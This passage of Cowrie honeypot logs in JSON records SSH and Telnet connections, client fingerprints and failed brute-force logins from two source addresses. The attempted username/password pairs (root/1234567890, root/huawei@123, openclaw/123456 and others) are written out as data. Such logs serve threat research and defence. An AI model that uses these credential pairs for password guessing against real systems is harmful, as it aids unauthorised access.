0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:06.678732Z","src_ip":"91.92.42.133","session":"1390782665fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":43204,"dst_ip":"159.203.135.109","dst_port":22,"session":"1933193dfcfb","protocol":"ssh","message":"New connection: 91.92.40.171:43204 (159.203.135.109:22) [session: 1933193dfcfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:07.136740Z"}
{"eventid":"cowrie.login.failed","username":"test","password":"test123","message":"login attempt [test/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:07.221462Z","src_ip":"91.92.42.133","session":"1390782665fb","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:07.260909Z","src_ip":"91.92.40.171","session":"1933193dfcfb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:07.264562Z","src_ip":"91.92.40.171","session":"1933193dfcfb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567890","message":"login attempt [root/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:07.916834Z","src_ip":"91.92.40.171","session":"1933193dfcfb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"123456","message":"login attempt [teamspeak/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:08.260699Z","src_ip":"91.92.40.171","session":"da72f5dc0771","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:08.361425Z","src_ip":"91.92.42.133","session":"1390782665fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:09.008994Z","src_ip":"91.92.40.171","session":"1933193dfcfb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.2","message":"Connection lost after 7.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:10.258295Z","src_ip":"91.92.40.171","session":"da72f5dc0771","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":52584,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba447a09197a","protocol":"ssh","message":"New connection: 91.92.42.133:52584 (159.203.135.109:22) [session: ba447a09197a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:12.177303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:12.542733Z","src_ip":"91.92.42.133","session":"ba447a09197a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:12.546326Z","src_ip":"91.92.42.133","session":"ba447a09197a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":43290,"dst_ip":"159.203.135.109","dst_port":22,"session":"c70f893423cc","protocol":"ssh","message":"New connection: 91.92.40.171:43290 (159.203.135.109:22) [session: c70f893423cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:12.749210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:12.817516Z","src_ip":"91.92.40.171","session":"c70f893423cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:12.894015Z","src_ip":"91.92.40.171","session":"c70f893423cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"newuser","message":"login attempt [newuser/newuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:13.287315Z","src_ip":"91.92.40.171","session":"c70f893423cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nobody","password":"1234","message":"login attempt [nobody/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:13.781072Z","src_ip":"91.92.42.133","session":"ba447a09197a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:14.402019Z","src_ip":"91.92.40.171","session":"c70f893423cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:14.966466Z","src_ip":"91.92.42.133","session":"ba447a09197a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":48284,"dst_ip":"159.203.135.109","dst_port":22,"session":"3593bdaa1b04","protocol":"ssh","message":"New connection: 91.92.40.171:48284 (159.203.135.109:22) [session: 3593bdaa1b04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:18.573102Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:18.594306Z","src_ip":"91.92.40.171","session":"3593bdaa1b04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:18.672827Z","src_ip":"91.92.40.171","session":"3593bdaa1b04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"123456","message":"login attempt [openclaw/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:18.990367Z","src_ip":"91.92.40.171","session":"3593bdaa1b04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":41586,"dst_ip":"159.203.135.109","dst_port":22,"session":"a84cdefd7601","protocol":"ssh","message":"New connection: 91.92.42.133:41586 (159.203.135.109:22) [session: a84cdefd7601]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:19.154955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:19.212071Z","src_ip":"91.92.42.133","session":"a84cdefd7601","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:19.343084Z","src_ip":"91.92.42.133","session":"a84cdefd7601","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"huawei@123","message":"login attempt [root/huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:19.667204Z","src_ip":"91.92.42.133","session":"a84cdefd7601","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:20.355938Z","src_ip":"91.92.40.171","session":"3593bdaa1b04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:20.788389Z","src_ip":"91.92.42.133","session":"a84cdefd7601","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":48356,"dst_ip":"159.203.135.109","dst_port":22,"session":"6943334ec3ae","protocol":"ssh","message":"New connection: 91.92.40.171:48356 (159.203.135.109:22) [session: 6943334ec3ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:24.308400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:24.385093Z","src_ip":"91.92.40.171","session":"6943334ec3ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:24.465674Z","src_ip":"91.92.40.171","session":"6943334ec3ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"passwd","message":"login attempt [master/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:24.780490Z","src_ip":"91.92.40.171","session":"6943334ec3ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":37322,"dst_ip":"159.203.135.109","dst_port":22,"session":"73919aa63bae","protocol":"ssh","message":"New connection: 91.92.42.133:37322 (159.203.135.109:22) [session: 73919aa63bae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:25.370993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:25.515929Z","src_ip":"91.92.42.133","session":"73919aa63bae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:25.519501Z","src_ip":"91.92.42.133","session":"73919aa63bae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:25.907491Z","src_ip":"91.92.40.171","session":"6943334ec3ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"73.72.45.69","src_port":59664,"dst_ip":"10.17.0.5","dst_port":23,"session":"53cc29f4bdb2","protocol":"telnet","message":"New connection: 73.72.45.69:59664 (10.17.0.5:23) [session: 53cc29f4bdb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:25.925000Z"}
{"eventid":"cowrie.login.failed","username":"gg","password":"gg","message":"login attempt [gg/gg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:26.010466Z","src_ip":"91.92.42.133","session":"73919aa63bae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:27.113591Z","src_ip":"91.92.42.133","session":"73919aa63bae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":48824,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7ef25b0aebc","protocol":"ssh","message":"New connection: 91.92.40.171:48824 (159.203.135.109:22) [session: f7ef25b0aebc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:31.621029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:31.626841Z","src_ip":"91.92.40.171","session":"f7ef25b0aebc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":37416,"dst_ip":"159.203.135.109","dst_port":22,"session":"35fde555727c","protocol":"ssh","message":"New connection: 91.92.42.133:37416 (159.203.135.109:22) [session: 35fde555727c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:31.756548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:31.780358Z","src_ip":"91.92.42.133","session":"35fde555727c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 